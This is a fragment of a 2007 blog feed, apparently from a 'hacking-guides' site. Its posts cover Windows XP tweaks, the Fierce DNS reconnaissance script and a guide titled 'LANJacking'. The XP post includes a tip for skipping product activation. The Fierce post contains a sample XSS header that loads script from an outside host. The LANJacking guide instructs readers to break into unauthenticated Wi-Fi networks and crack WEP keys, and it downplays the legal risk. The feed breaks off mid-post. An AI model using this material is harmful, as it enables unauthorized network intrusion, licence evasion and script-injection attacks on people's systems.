href='http://hacking-guides.blogspot.com/feeds/3381296840972795475/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3381296840972795475' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3381296840972795475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3381296840972795475'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/xp-tricks-part-2.html' title='Xp tricks part 2'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-1837772220139552651</id><published>2007-12-14T07:09:00.000-08:00</published><updated>2007-12-14T07:12:52.268-08:00</updated><title type='text'>Xp tricks part 1</title><content type='html'>Activate Once Forever&lt;br /&gt;Windows will require re-activation if several pieces of hardware are changed at one time. It makes sense to try to spread these installations out to avoid the hassle.&lt;br /&gt;&lt;br /&gt;But what if the WinXP OS must be re-installed on the same system? To avoid having to re-activate, keep a copy of wpa.dbl from the System32 folder with your backups. Make sure to create a fresh copy with any hardware upgrade. Upon re-installing WinXP, just copy wpa.dbl back to the System32 folder to skip activation.&lt;br /&gt;&lt;br /&gt;Deactivate WinXP 'Spyware'&lt;br /&gt;Although mentioned on the Windows Tweaks page, it's worth repeating here if you missed it. Win XP users have a new set of security issues, including a plethora of default settings that cause 'phone home' activity, automatic updates and  downloads without user choice or intervention. The method for manually disabling these is here. Free software to change these settings easily is here.&lt;br /&gt;&lt;br /&gt;WinXP Power Toys&lt;br /&gt;This versatile (unsupported) collection of goodies from Microsoft includes:&lt;br /&gt;&lt;br /&gt;Tweak UI: Provides access to system settings that are not exposed in the Windows XP default user interface, including mouse settings, Explorer settings, taskbar settings, and more.&lt;br /&gt;&lt;br /&gt;Super-Fast User Switcher: Switch between users without having to go through the Logon screen (see Quick Tips, below, for another way).&lt;br /&gt;&lt;br /&gt;Open Command Window Here: Adds an "Open Command Window Here" context menu option on file system folders.&lt;br /&gt;&lt;br /&gt;Taskbar Magnifier: Magnify part of the screen from the taskbar.&lt;br /&gt;&lt;br /&gt;Power Calculator: Graph and evaluate functions as well as perform many different types of conversions.&lt;br /&gt;&lt;br /&gt;Image Resizer: Resize one or many image files with a right-click.&lt;br /&gt;&lt;br /&gt;CD Slide Show Generator: View images burned to a CD as a slide show. &lt;br /&gt;&lt;br /&gt;Virtual Desktop Manager: Manage up to four desktops from the Windows taskbar. Multi-monitors is much better.&lt;br /&gt;&lt;br /&gt;Webcam Timershot: Lets you take pictures at specified time intervals from a Webcam connected to your computer and save them to a location that you designate.&lt;br /&gt;&lt;br /&gt;HTML Slide Show Wizard: Helps you create an HTML slide show of your digital pictures, ready to place on your Web site.&lt;br /&gt;&lt;br /&gt;Microsoft pulled Power Toys for WinXP to de-bug them, and re-released them on April 23, 2002. This time, these proggies are available seperately which is a good thing. Click here to see 'em. &lt;br /&gt;&lt;br /&gt;Don't forget IE Powertoys, a cool collection of enhancements designed for IE5.x but which work beautifully with IE6.x. Find it on the Internet  page. Useful, fun and the price is right.&lt;br /&gt;&lt;br /&gt;Hide Recycle Bin&lt;br /&gt;Yes, there's a registry or 'inf' file hack for this, but why? Download TweakUI, above, change the Recycle Bin to a folder (so you can move it off the Desktop, like into My Documents), eliminate the icon and revel in your pristine desktop, without an icon to be seen (if you choose). Hey, your wallpaper looks great!&lt;br /&gt;&lt;br /&gt;Remove 'Shortcut to' prefix and arrow&lt;br /&gt;See TweakUI, above. Don't hack the registry unnecessarily.&lt;br /&gt;&lt;br /&gt;Dig into the system&lt;br /&gt;While there is a code that can be entered at a command-line prompt (ipconfig) which will display or allow configuration of ip information, but a sweeter solution is the GUI goodness of the familiar winipcfg from Win 9.X/Me. Download it from Microsoft here, install it, then just hit, Start/Run, type winipcfg and hit 'Enter.' You're so clever.&lt;br /&gt;&lt;br /&gt;To access information on your entire system, including hardware, installed software application info and more, hit Start/Run and type winmsd. To access more information as well as change default startup items (harmlessly), try Start/Run msconfig.&lt;br /&gt;&lt;br /&gt;Task Manager in WinXP is a versatile tool which displays running applications and processes (ala Ctrl/Alt/Del in Win 9.x/Me) as well as graphical display of Performance items like CPU, Page File Usage and Networking information. Right-click on the Taskbar and select 'Task Manager (keyboard shortcut Ctrl/Shift/Esc), Try it &amp; see.&lt;br /&gt;&lt;br /&gt;To configure virtually any aspect of WinXP hardware, software and behavior, hit Start/Run, type gpedit.msc and hit 'Enter' to access the Group Policy Editor. This is where you can turn off 'Autoplay' for CD-ROMs if you wish. Have fun in there.&lt;br /&gt;&lt;br /&gt;Those Nasty Balloon Tips&lt;br /&gt;These things are like the neighbor's wind chimes; an annoyance foisted upon us against our will that only gets more irritating with time. The quick, easy method of disposal is with 'Group Policy Editor, above. No third-party software or registry hacking is necessary. Choose' Disable Balloon Tips' and breathe a sigh of relief. Too bad there's no 'Delete' button for annoying neighbors.&lt;br /&gt;&lt;br /&gt;WinXP Quick Tips&lt;br /&gt;There are several methods (some involve risky and unnecessary registry hacks) for removing the persistent and annoying MSN Messenger. Hit 'Start/Run' then copy and paste the following: 'RunDll32 advpack.dll,LaunchINFSection %windir%\INF\msmsgs.inf,BLC.Remove' (without the quotes). Hit enter and it's gone. &lt;br /&gt;&lt;br /&gt;To enable sending items wherever you wish on your computer easily, enable hidden and systems folders in the 'View' folder settings, open &lt;br /&gt;C:\Documents and Settings\your_user_name\SendTo\ and add shortcuts to whatever locations you wish.&lt;br /&gt;&lt;br /&gt;Instantly switch between users by depressing the Win key and 'Q' simultaneously. After a moment, all users appear. Keep hitting 'Q' to rotate between them.&lt;br /&gt;&lt;br /&gt;You will use far less memory if you keep multiple applications minimized rather than in open windows.&lt;br /&gt;&lt;br /&gt;To create a keyboard shortcut from a desktop shortcut,  right-click on the shortcut, choose properties and enter the combination in the Shortcut Key box, including two of the following: CTRL, ALT, and/or SHIFT. OK out and it's done.&lt;br /&gt;&lt;br /&gt;To eliminate the annoying question "Are you sure?" when you delete an item, right-click on the Recycle Bin icon, choose 'Properties' and remove the (default) checkmark from 'Display delete confirmation dialog.'&lt;br /&gt;&lt;br /&gt;Prefetch works great to speed up operations in WinXP, but the default folder needs a cleanout every few weeks or the clutter will actually slow the system. Open the 'Prefetch' folder in C:\WINDOWS, left-click 'Edit,' choose 'Select All,' right click on any item in the folder and choose 'Delete' to dump everything.&lt;br /&gt;&lt;br /&gt;Unless you spend most computer time doing searches, this tweak will add a little speed to your system. Open my computer, right-click on C:\  and select 'Properties.' Uncheck 'Allow indexing service to index this disk for faster searches.' uncheck this OK out. Select 'Apply to all folders and subfolders' in the pop-up window.&lt;br /&gt;&lt;br /&gt;To prevent the operating system from asking for the WinXP disk during installations, copy the I386 folder from the XP CD and paste in into the C:\ drive. That'll stop it.&lt;br /&gt;&lt;br /&gt;What? You actually used the Briefcase in Win9.x/Me? OK, to get it back on the desktop in XP, go to C:\WINDOWS\system32\dllcache and double click on 'syncapp' to place it on your desktop.&lt;br /&gt;&lt;br /&gt;If you've removed the Recycle Bin from the Desktop (see Registry Hacks, below), you can access it by either from a 'Desktop' Toolbar added by right-clicking on the Taskbar and choosing 'Toolbars' and putting a checkmark by that setting or by opening 'My Documents' &amp; going up one level.&lt;br /&gt;&lt;br /&gt;If you don't want XP to display the programs in the Start Menu that it determines are used most frequently, right-click in the empty space on the left side of the menu, choose 'Properties' then 'Start Menu' and Customize. Click on 'Clear List' and set number to zero.&lt;br /&gt;&lt;br /&gt;Right–click My Computer, and then click 'Properties' then 'Advanced.' From here you can choose for what functions the greater portion of processing and power is used and set virtual memory if you're so inclined.&lt;br /&gt;&lt;br /&gt;To place the programs you want permanently on the Start Menu, right-click on the program from the pop-up menu and choose 'Pin to Start Menu.'&lt;br /&gt;&lt;br /&gt;For a quick desktop shortcut to any folder, file or application, find the target on your hard drive, right-click and choose 'Send to Desktop.'&lt;br /&gt;&lt;br /&gt;New Tips for June, 2002&lt;br /&gt;Shutting down WinXP is a three-click process, but it's easy to make it a single-click process, either from a desktop or Taskbar Icon. Right-click on the Desktop, choose 'New' then 'Shortcut. A window will pop up with a dialog box for the shortcut path. Type this exactly: C:\windows\system32\shutdown.exe -s -t 00 keeping in mind that the last character is a zero, not a capital O (to make a similar shortcut for restart, substitute /r for /s). Choose 'Next' and type in a name for your new shortcut. Right-click on your new shortcut, choose 'Properties' then 'Change Icon' to make it attractive. Leave it on your desktop or drag it to your taskbar.&lt;br /&gt;&lt;br /&gt;If you haven't already found it, making the text background that appears beneath desktop icons transparent is a snap. Go to the Control Panel, choose 'System' then 'Advanced'. Click on the 'Performance' tab then 'Settings' and put a check in the 'Use Drop Shadows' box. Voila!&lt;br /&gt;&lt;br /&gt;To keep those ugly lines from forming beneath the text on your desktop icons, go to the Control panel and choose 'Folder Options' to be certain that 'Underline icon titles consistent with my browser' is checked. Open 'Internet Options' then the 'Advanced' tab. Under 'Browsing' look for 'Underline Links' and choose 'Never.' Now, doesn't that look better?&lt;br /&gt;&lt;br /&gt;Now that the 'official' release of WinXP has passed the six-month mark, some of you may be experiencing some performance degradation, the source of which can't be traced. Before resorting the the sure-fire re-format and re-install, try this simple procedure. Create a new user name (with Administrator rights). See if this 'New User' experiences better performance. If so, switch to your original user name, transfer settings and accounts to the 'New User' and enjoy the improved performance. Once you're satisfied that all settings and accounts have transferred properly, eliminate your old user name and run RegCleaner to eliminate outdated settings.&lt;br /&gt;&lt;br /&gt;Boot Disk Returns&lt;br /&gt;Unlike Win2000 or WinMe, WinXP can and will produce a boot disk. Stuff a floppy into the drive, open 'My Computer' then '3 1/2" Floppy Drive,' right click and choose 'Format'. From the drop-down menu, choose 'Create Startup Disk.'&lt;br /&gt;&lt;br /&gt;Microsoft Sez:&lt;br /&gt;"Customer research shows a frequently requested feature that users want from their PCs is fast system startup, whether from cold boot or when resuming from standby or hibernation." If you're not booting in less than 30 seconds, go here &amp; get the MSoft tool that will speed up boot times with varying but (to my knowledge) never negative results&lt;br /&gt;&lt;br /&gt;Save Streaming Media&lt;br /&gt;It's cool to listen to MP3s (or watch movies) over the Internet. Often, saving this media, however, seems impossible. Hey, if it plays on your computer, it's on your hard drive. Once the file is fully loaded and with folder view set to show hidden and systems folders, search for the media (.mp3 or .mpg). There it is!&lt;br /&gt;&lt;br /&gt;IE 6 Stuff&lt;br /&gt;New security features in IE 6.x are cool, but if you'd rather not have the web pages you've viewed to be stored on your computer, you have to choose the option manually. From the 'Tools' menu, select 'Internet Options,' then 'Advanced.' Under 'Security,' check 'Empty Temporary internet files folder when browser is closed.'&lt;br /&gt;&lt;br /&gt;If you prefer Google (as most do) as the search engine of choice, put the page on your hard drive ('File/Save As' from IE 6.x), then open the saved with the browser and from 'Tools/Internet Options/General,' choose 'Use Current' to have IE load instantly and already Googlized&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-1837772220139552651?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/1837772220139552651/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=1837772220139552651' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1837772220139552651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1837772220139552651'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/xp-tricks-part-1.html' title='Xp tricks part 1'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-7980817219644628799</id><published>2007-12-14T07:07:00.000-08:00</published><updated>2008-01-30T04:35:14.248-08:00</updated><title type='text'>Fierce domain scan</title><content type='html'>Fierce domain scan was born out of personal frustration after performing a web application security audit. It is traditionally very difficult to discover large swaths of a corporate network that is non-contiguous. It's terribly easy to run a scanner against an IP range, but if the IP ranges are nowhere near one another you can miss huge chunks of networks.&lt;br /&gt;&lt;br /&gt;First what Fierce is not. Fierce is not an IP scanner, it is not a DDoS tool, it is not designed to scan the whole internet or perform any un-targeted attacks. It is meant specifically to locate likely targets both inside and outside a corporate network. Only those targets are listed (unless the -nopattern switch is used). No exploitation is performed (unless you do something intentionally malicious with the -connect switch). Fierce is a reconnaissance tool. Fierce is a PERL script that quickly scans domains (usually in just a few minutes, assuming no network lag) using several tactics.&lt;br /&gt;&lt;br /&gt;First it queries your DNS for the DNS servers of the target. It then switches to using the target's DNS server (you can use a different one if you want using the -dnsserver switch but this can cause problems if the server you use won't tell you information about other people's sites and of course you won't find much relevant internal address space). Fierce then attempts to dump the SOA records for the domain in the very slim hope that the DNS server that your target uses may be misconfigured. Once that fails (because it almost always will) it attempts to "guess" names that are common amongst a lot of different companies. Don't ask me where I got the list, it's just a list of names that id and I have seen all over the place. I thought about adding a dictionary to this, but I think that would take a lot longer, and given that very few of the words are dictionary words I don't think this would add a lot of value.&lt;br /&gt;&lt;br /&gt;Next, if it finds anything on any IP address it will scan up and down a set amount (default 5 but you can expand it with -traverse or increase it to the entire subnet with -wide) looking for anything else with the same domain name in it using reverse lookups. If it finds anything on any of those it will recursively scan until it doesn't find any more. In this way it ends up looping a lot, and the bigger the domain is the more you get back. The reason Fierce automatically switches to using the target's DNS server is so that it can probe the Intranet (RFC1918) of the target, assuming the target uses a single DNS server for both their Intranet and external sites.&lt;br /&gt;&lt;br /&gt;I also added a random call to something that should fail to test for wildcard DNS. If it's found, the wildcard is discarded to reduce erroneous results. That doesn't speed up the scan because it still needs to check to see if the test resolves back to IP address that the wildcard is pointing to. However it does reduce false positives.&lt;br /&gt;&lt;br /&gt;Also, I've added a "search" option that allows you to find other non-related domain names. For example, let's say my target's domain is widget.com but I know they have email addresses like soandso@widgetcompany.com and own another company called nutsandbolts.com I can add search queries. This won't scan for those domains, but if those names pop up, it won't ignore them. Fierce will report on anything inside the search pattern as long as it matches. If you want everything I guess you could put a,b,c,...,x,y,z but I'll probably make something in the future to allow for scanning/reporting the entire C block once anything is found in it that matches the DNS string. Here's the syntax:&lt;br /&gt;&lt;br /&gt;perl fierce.pl -dns widget.com -search widgetcompany,nutsandbolts&lt;br /&gt;&lt;br /&gt;I also realized it can be a little bad about finding everything in a class C if the target used non-contiguous blocks within the class C. To deal with that I built in a function to allow a scan (of only C blocks). This is also really useful for scanning intranets if the DNS is poorly configured. I might expand on this later.&lt;br /&gt;&lt;br /&gt;perl fierce.pl -range 10.10.10.0-255 -dnsserver ns1.example.com&lt;br /&gt;&lt;br /&gt;As an alternative, you can use the -wide switch which does a wide path of reverse lookups after finding any C names that match your query in the C block. This provides a lot more information but is a lot more noisy.&lt;br /&gt;&lt;br /&gt;perl fierce.pl -dns example.com -wide -file output.txt&lt;br /&gt;&lt;br /&gt;Finally, for the web application security folks I added a command to connect to any http servers on port 80 and perform whatever action you put into a configuration file. This is really noisy and really slow (especially on large networks), so I wouldn't recommend trying it unless you have a few hours with nothing better to do, unless you know there are only a handful of machines or have already ran this without the connect scan turned on.&lt;br /&gt;&lt;br /&gt;perl fierce.pl -dns example.com -connect headers.txt -fulloutput -file output.txt&lt;br /&gt;&lt;br /&gt;Here's what a sample header file might look like. The sample file below is attempting to exploit the Expect cross site scripting vulnerability:&lt;br /&gt;&lt;br /&gt;GET / HTTP/1.0&lt;br /&gt;User-Agent: Mozilla/5.0&lt;br /&gt;Host:&lt;br /&gt;Expect: This is remote text via xss.js located at ha.ckers.org HstCla209156=1233232127602; HstCnv209156=1; HstC1p209156=1233231552571; HstCup209156=2; c_ppu_209156=2; c_old_pagid_209156=0&lt;br /&gt;&lt;br /&gt;Fierce also has wordlist support so that you can supply your own dictionary using the -wordlist keyword. Since the brute force does rely on matching at least a few internal targets, this could be helpful if you know that the naming convention has to do with a certain non-obvious naming convention or uses another language, etc.&lt;br /&gt;&lt;br /&gt;perl fierce.pl -dns example.com -wordlist dictionary.txt -file output.txt&lt;br /&gt;&lt;br /&gt;Not convinced? Prior to running the scan I had never been to either mail.ru or rambler.ru (a few of the top Alexa sites in Russia). Since I don't read Russian, performing an audit against them is far more difficult. Here's some sample output from the two. In the first example you can see that mail.ru has a non-contiguous address for it's mobile.mail.ru than it does for the rest of the site. That would have been very difficult to locate with any other scanner. In the rambler.ru example you can see the RFC1918 space 10.* pop up:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mail.ru - 418 entries and 303 hostnames found.&lt;br /&gt;rambler.ru - 472 entries and 458 hostnames found.&lt;br /&gt;&lt;br /&gt;Trust me, we've found far more interesting sites than these two in our tests, but I don't want to disparage any companies for their mistakes. I'm sure you can think of a few companies to test this against. The results can be pretty amazing. If you don't get many results, that could be one of three things, 1) you aren't scanning their corporate domain, you are only scanning their external domain which they only have one or two machines on 2) it's a very small company or 3) you typo'd the domain name (I haven't built any checks to make sure the domain you entered is valid).&lt;br /&gt;&lt;br /&gt;Requirements: This is a PERL program requiring the PERL interpreter with the modules Net::DNS and Net::hostent. You can install modules using CPAN:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;perl -MCPAN -e 'install Net::DNS'&lt;br /&gt;perl -MCPAN -e 'install Net::hostent'&lt;br /&gt;&lt;br /&gt;Windows users: You can use Fierce under Windows if you use Cygwin with PERL and the above two modules installed. I have not tested this using ActivePerl in Windows, so I would recommend Cygwin until ActivePerl can be thoroughly tested. I am/was working on a win32 version of Fierce, but have put the project on hold. If anyone is interested in picking up where I left off, drop me a line.&lt;br /&gt;&lt;br /&gt;Version: Fierce is currently at version 0.9.9 - Beta 03/24/2007&lt;br /&gt;&lt;br /&gt;Download: fierce.pl&lt;br /&gt;&lt;br /&gt;Download: hosts.txt&lt;br /&gt;&lt;br /&gt;(Thanks to Robert E Lee for the help with this and to Michael Thumann's DNSDigger wordlist).&lt;br /&gt;&lt;br /&gt;Getting started: perl fierce.pl -help&lt;br /&gt;&lt;br /&gt;This may some bugs in it. Also this can be a noisy scanner, but in the tests I've performed it's exceptionally effective at finding non-contiguous IP blocks and new attack points. This should be considered a pre-cursor to nmap, unicornscan or nessus as it gives you enough information to begin a much more thorough scan with one of those other tools. Also, it can point out DNS entries for hosts that are no longer up or have not yet been put into production. Please use Fierce with care and at your own risk.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-7980817219644628799?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/7980817219644628799/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=7980817219644628799' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7980817219644628799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/7980817219644628799'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/fierce-domain-scan.html' title='Fierce domain scan'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-2751649791593930776</id><published>2007-12-13T06:50:00.000-08:00</published><updated>2007-12-13T07:00:14.558-08:00</updated><title type='text'>LANJacking: the New Hacker Mecca</title><content type='html'>Getting free Internet access through IEEE standard 802.11b wireless Ethernet LANs (often called Wi-Fi LANs or WLANs) is the newest and biggest ever hacker scene. In many areas you can get free access legally through Wi-Fi systems run by volunteers. Elsewhere, it’s the wild west all over again, with spammers, computer criminals, and mostly harmless hackers running wild on WLANs whose owners have no concept of what they are hosting.&lt;br /&gt;&lt;br /&gt;First we will cover the easy stuff: how to break into a WLAN that doesn’t authenticate users (LANJacking). These are fairly common. To do this, get a laptop with a wireless NIC (WNIC). Configure your NIC to automatically set up its IP address, gateway and DNS servers. Then, use the software that came with your NIC to automatically detect and get you online.&lt;br /&gt;&lt;br /&gt;For example, with an Orinoco NIC, in Client Manager set the SSID (service set identifier required to be able to exchange packets on that WLAN) to be "any" or "null." Then from the Advanced menu select Site Manager. That should show you all available Wi-Fi access points.&lt;br /&gt;&lt;br /&gt;Once you are set up to detect WLANs, then for happiest hunting, start driving (wardriving) or walking (stumbling) around an area with businesses or apartment buildings. Susan Updike points out, "Don’t forget airports – many VIP lounges, etc. have wireless hubs accessible from inside the airport or even in the parking lots."&lt;br /&gt;&lt;br /&gt;How do you know when you’ve gotten online? One way is to run an intrusion detection system that alerts you when you get any kind of network traffic.&lt;br /&gt;&lt;br /&gt;An easier and faster way to find those access points and choose the one you want to use is to run Network Stumbler, at http://www.netstumbler.com. It shows you all Wi-Fi access points within range of you. Network Stumbler runs on Windows desktop and laptop machines, and Mini Stumbler runs on Wi-Fi-enabled PDAs. Netstumbler-like software is available for MacOSX with either an internal AirPort card or any PCMCIA Wi-Fi card at http://www.mxinternet.net/~markw/.&lt;br /&gt;&lt;br /&gt;For NetBSD,OpenBSD,and FreeBSD you can get BSD-Airtools at http://www.dachb0den.com/projects/bsd-airtools.html.&lt;br /&gt;&lt;br /&gt;If you want to locate vulnerable WLANs in wholesale lots, there is an even more interesting tool. At http://www.kismetwireless.net/ you can download Kismet, a WLAN sniffer that also separates and identifies many wireless networks in the area you are testing. A version of Kismet for is available for Linux. Kismet also supports FreeBSD, OpenBSD and MacOSX.&lt;br /&gt;&lt;br /&gt;Following are examples from a wardriving session by William Marchand of UnixHQ (http://www.unixhq.org) using a Windows 2000 Professional laptop and Netstumbler.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Figure 1: Not connected yet.&lt;br /&gt;&lt;br /&gt;However, he fires up Netstumbler and lo and behold, he sees Fig. 2. &lt;br /&gt;&lt;a href="http://www.happyhacker.org/graphics/screen-2.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; WIDTH: 1280px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://www.happyhacker.org/graphics/screen-2.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div&gt;LANJacking: the New Hacker Mecca&lt;br /&gt;&lt;br /&gt;Figure 2: Bill is within range of a Wi-Fi access point on Channel 6. Details are in the right hand panel.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.happyhacker.org/graphics/screen-3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 1280px;" src="http://www.happyhacker.org/graphics/screen-3.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Figure 3: It looks like a strong signal.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.happyhacker.org/graphics/screen-4.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 347px;" src="http://www.happyhacker.org/graphics/screen-4.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Figure 4: Time to get online!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.happyhacker.org/graphics/screen-5.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 617px;" src="http://www.happyhacker.org/graphics/screen-5.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Figure 5: The deed is done.&lt;br /&gt;&lt;br /&gt;If you want to locate vulnerable WLANs in wholesale lots, there is an even more interesting tool. At http://www.kismetwireless.net/ you can download Kismet, a WLAN sniffer that also separates and identifies many wireless networks in the area you are testing. A version of Kismet for Linux, Kismet also supports FreeBSD, OpenBSD and MacOSX in on the Überhacker CD-rom.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Kismet works with any 802.11b wireless card that is capable of reporting raw packets (rfmonsupport). These include any Prism2 based card (Linksys, D-Link, Rangelan, etc), Cisco Aironet cards, and Orinoco based cards. Kismet also supports the WSP100 802.11b remote sensor by Network Chemistry and is able to monitor 802.11a networks with cards using the Ar5k chipset. Here’s where it gets interesting. There is a version that allows you to deploy many Kismet sensors for distributed sniffing. Each "drone" sensor sends packets over a TCP connection to a Kismet server. Its output can be piped into Snort (http://www.snort.org) and some other Intrusion Detection Systems (IDS).&lt;br /&gt;&lt;br /&gt;You can get an idea of where easy-access Wi-Fi access points exist in abundance at http://www.WiFiMaps.com/ and http://www.wigle.net/maps. If you hunt on foot, keep an eye out for chalk marks on sidewalks or walls. These often denote Wi-Fi access points.&lt;br /&gt;&lt;br /&gt;If you would rather hunt while sitting in your hacker lab, you can get into WLANs that are tens of kilometers away by using a directional antenna. http://www.fab-corp.com/ is an example of a place where you can buy these.&lt;br /&gt;&lt;br /&gt;There are many commercial products for detecting WLANs. They are often used in companies that have problems with employees setting up unauthorized access points. For example, AirMagnet (http://www.airmagnet.com/) can run on the iPAQ PDA, and detects problems such as a Wi-Fi access point advertising its SSID.&lt;br /&gt;&lt;br /&gt;It is legal to detect WLANs, but not to use some of the wireless systems you may access. It is best to make sure a WLAN is open to the public before using it. However, unless it requires some sort of authentication to log on, law enforcement won’t waste time pursuing casual visitors to WLANs. If you do this and get busted anyhow, well, that’s the risk you take in any unauthorized computer access.&lt;br /&gt;&lt;br /&gt;Now we come to the slightly hard part. How do you break in if the WLAN asks for some sort of authentication? Wired Equivalent Privacy (WEP) is a common way to authenticate, and can be broken in minutes if you have a computer with a reasonably fast CPU. Since some Wi-Fi hardware is incompatible with better ways than WEP to authenticate, chances are you can find a lot of WEP nets floating around.&lt;br /&gt;&lt;br /&gt;Airsnort is an example of a program that cracks WEP keys. Once it has captured enough packets it can usually crack WEP in a second or so, if running on Linux with a reasonably fast CPU. Airsnort has varieties that run on BSD, Linux, OS X and Windows, and can be downloaded at http://airsnort.shmoo.com/.&lt;br /&gt;&lt;br /&gt;Now we come to the super hard part: WiFi Protected Access (WPA). It’s the latest, greatest way to keep intruders from abusing Wi-Fi. It can work, for example, with Windows Remote Authentication Dial-In Services to authenticate users – and keep the uninvited out. At this writing no technique has been publicized to break it. However, if by the time you read this, a way has been discovered, here are some web sites that are likely to offer downloads of the tools that do it, and instructions for their use.&lt;br /&gt;&lt;br /&gt;http://www.worldwidewardrive.org/&lt;br /&gt;&lt;br /&gt;http://www.wardriving.com/&lt;br /&gt;&lt;br /&gt;http://www.churchofwifi.com&lt;br /&gt;&lt;br /&gt;http://www.nakedwireless.ca/&lt;br /&gt;&lt;br /&gt;https://mailsrv.dis.org/mailman/listinfo/wardriving&lt;br /&gt;&lt;br /&gt;This Guide has been excerpted from the upcoming Second Edition of Überhacker! How to Break into Computers, by Carolyn Meinel. You are welcome to post this Guide to your web site or forward it to other people. Happy hacking!&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-2751649791593930776?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/2751649791593930776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=2751649791593930776' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2751649791593930776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2751649791593930776'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/lanjacking-new-hacker-mecca.html' title='LANJacking: the New Hacker Mecca'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3518891373285628452</id><published>2007-12-13T06:45:00.000-08:00</published><updated>2007-12-13T06:49:27.415-08:00</updated><title type='text'>How to Fake out Web Servers</title><content type='html'>Did you know that most web browsers dutifully identify themselves to every web site you visit? There's often a good reason for this. Some web sites will send you pages customized to give you better viewing with the type of browser you use. Some sites use your header information to choose what language to display. Some intrusion detection techniques even look at headers to get an idea whether a connection to a website is being made by a legitimate browser or by a clumsily programmed attack&lt;br /&gt;&lt;br /&gt;If it bugs you to tell web sites everything your browser wants to tell them, here's how to fake them out.&lt;br /&gt;&lt;br /&gt;Telnet! Yes, my favorite all purpose mostly harmless hacking technique is telnet. If you use Windows and have never used telnet, type Start --&gt; Run --&gt; type telnet in the window and hit enter. This will give you a black window with something like this in it:&lt;br /&gt;&lt;br /&gt;Welcome to Microsoft Telnet Client.&lt;br /&gt;&lt;br /&gt;Escape character is 